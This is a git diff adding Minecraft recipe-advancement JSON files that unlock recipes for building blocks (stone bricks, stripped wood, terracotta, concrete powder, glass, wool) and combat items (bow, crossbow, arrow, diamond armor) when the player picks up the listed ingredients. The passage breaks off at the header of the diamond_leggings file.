b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs.json new file mode 100644 index 00000000..91aba115 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_stairs" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..bca24e9a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_stairs_from_stone_bricks_stonecutting" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_stairs_from_stone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_stonecutting.json new file mode 100644 index 00000000..8e617c1d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_brick_stairs_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_brick_stairs_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_brick_stairs_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks.json new file mode 100644 index 00000000..9746a04c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_bricks" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_bricks" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks_from_stone_stonecutting.json new file mode 100644 index 00000000..3098e3c8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_bricks_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_bricks_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_bricks_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_slab.json new file mode 100644 index 00000000..026bae58 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_slab" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_slab" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_slab_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_slab_from_stone_stonecutting.json new file mode 100644 index 00000000..a7eeb24a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_slab_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_slab_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_slab_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs.json new file mode 100644 index 00000000..635414c7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_stairs" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_stairs" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs_from_stone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs_from_stone_stonecutting.json new file mode 100644 index 00000000..2fee9567 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stone_stairs_from_stone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_stairs_from_stone_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_stairs_from_stone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_acacia_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_acacia_wood.json new file mode 100644 index 00000000..c99beb2f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_acacia_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_acacia_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_acacia_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_acacia_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_birch_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_birch_wood.json new file mode 100644 index 00000000..c2c6d43b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_birch_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_birch_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_birch_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_birch_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_crimson_hyphae.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_crimson_hyphae.json new file mode 100644 index 00000000..34657185 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_crimson_hyphae.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_crimson_hyphae" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_crimson_stem" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_crimson_hyphae" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_dark_oak_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_dark_oak_wood.json new file mode 100644 index 00000000..2b4ffdd0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_dark_oak_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_dark_oak_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_dark_oak_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_dark_oak_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_jungle_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_jungle_wood.json new file mode 100644 index 00000000..e7cf057b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_jungle_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_jungle_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_jungle_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_jungle_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_oak_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_oak_wood.json new file mode 100644 index 00000000..a9b85ccd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_oak_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_oak_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_oak_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_oak_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_spruce_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_spruce_wood.json new file mode 100644 index 00000000..e03f95ca --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_spruce_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_spruce_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_spruce_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_spruce_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/stripped_warped_hyphae.json b/src/data/minecraft/advancements/recipes/building_blocks/stripped_warped_hyphae.json new file mode 100644 index 00000000..59643f99 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/stripped_warped_hyphae.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stripped_warped_hyphae" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stripped_warped_stem" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stripped_warped_hyphae" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/terracotta.json new file mode 100644 index 00000000..3bcec00a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:terracotta" + ] + }, + "criteria": { + "has_clay_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:clay" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:terracotta" + } + } + }, + "requirements": [ + [ + "has_clay_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/warped_hyphae.json b/src/data/minecraft/advancements/recipes/building_blocks/warped_hyphae.json new file mode 100644 index 00000000..b5af51c3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/warped_hyphae.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_hyphae" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_stem" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_hyphae" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/warped_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/warped_planks.json new file mode 100644 index 00000000..435de669 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/warped_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:warped_stems" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/warped_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/warped_slab.json new file mode 100644 index 00000000..e99cc5f4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/warped_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/warped_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/warped_stairs.json new file mode 100644 index 00000000..581cfa7e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/warped_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:warped_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:warped_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:warped_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/white_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/white_concrete_powder.json new file mode 100644 index 00000000..b55fe975 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/white_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/white_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/white_stained_glass.json new file mode 100644 index 00000000..2ea9860d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/white_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/white_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/white_terracotta.json new file mode 100644 index 00000000..a93d3f96 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/white_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/white_wool_from_string.json b/src/data/minecraft/advancements/recipes/building_blocks/white_wool_from_string.json new file mode 100644 index 00000000..1f7477bf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/white_wool_from_string.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:white_wool_from_string" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:white_wool_from_string" + } + } + }, + "requirements": [ + [ + "has_string", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/yellow_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/yellow_concrete_powder.json new file mode 100644 index 00000000..ef03bf8a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/yellow_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/yellow_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/yellow_stained_glass.json new file mode 100644 index 00000000..b2864fea --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/yellow_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/yellow_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/yellow_terracotta.json new file mode 100644 index 00000000..a628e09f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/yellow_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/yellow_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/yellow_wool.json new file mode 100644 index 00000000..c5905fb4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/yellow_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:yellow_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:yellow_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/arrow.json b/src/data/minecraft/advancements/recipes/combat/arrow.json new file mode 100644 index 00000000..a6cc8f13 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/arrow.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:arrow" + ] + }, + "criteria": { + "has_feather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:feather" + } + ] + } + }, + "has_flint": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:flint" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:arrow" + } + } + }, + "requirements": [ + [ + "has_feather", + "has_flint", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/bow.json b/src/data/minecraft/advancements/recipes/combat/bow.json new file mode 100644 index 00000000..7fbf5c56 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/bow.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bow" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bow" + } + } + }, + "requirements": [ + [ + "has_string", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/crossbow.json b/src/data/minecraft/advancements/recipes/combat/crossbow.json new file mode 100644 index 00000000..6d16e0bb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/crossbow.json @@ -0,0 +1,65 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:crossbow" + ] + }, + "criteria": { + "has_string": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:string" + } + ] + } + }, + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_tripwire_hook": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:tripwire_hook" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:crossbow" + } + } + }, + "requirements": [ + [ + "has_string", + "has_stick", + "has_iron_ingot", + "has_tripwire_hook", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/diamond_boots.json b/src/data/minecraft/advancements/recipes/combat/diamond_boots.json new file mode 100644 index 00000000..e106854f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/diamond_boots.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_boots" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_boots" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/diamond_chestplate.json b/src/data/minecraft/advancements/recipes/combat/diamond_chestplate.json new file mode 100644 index 00000000..e974cb0d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/diamond_chestplate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_chestplate" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_chestplate" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/diamond_helmet.json b/src/data/minecraft/advancements/recipes/combat/diamond_helmet.json new file mode 100644 index 00000000..b30d280c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/diamond_helmet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_helmet" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_helmet" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/diamond_leggings.json b/src/data/minecraft/advancements/recipes/combat/diamond_leggings.json new file mode 100644 index 00000000..cb1f7d4b --- /dev/null +++ 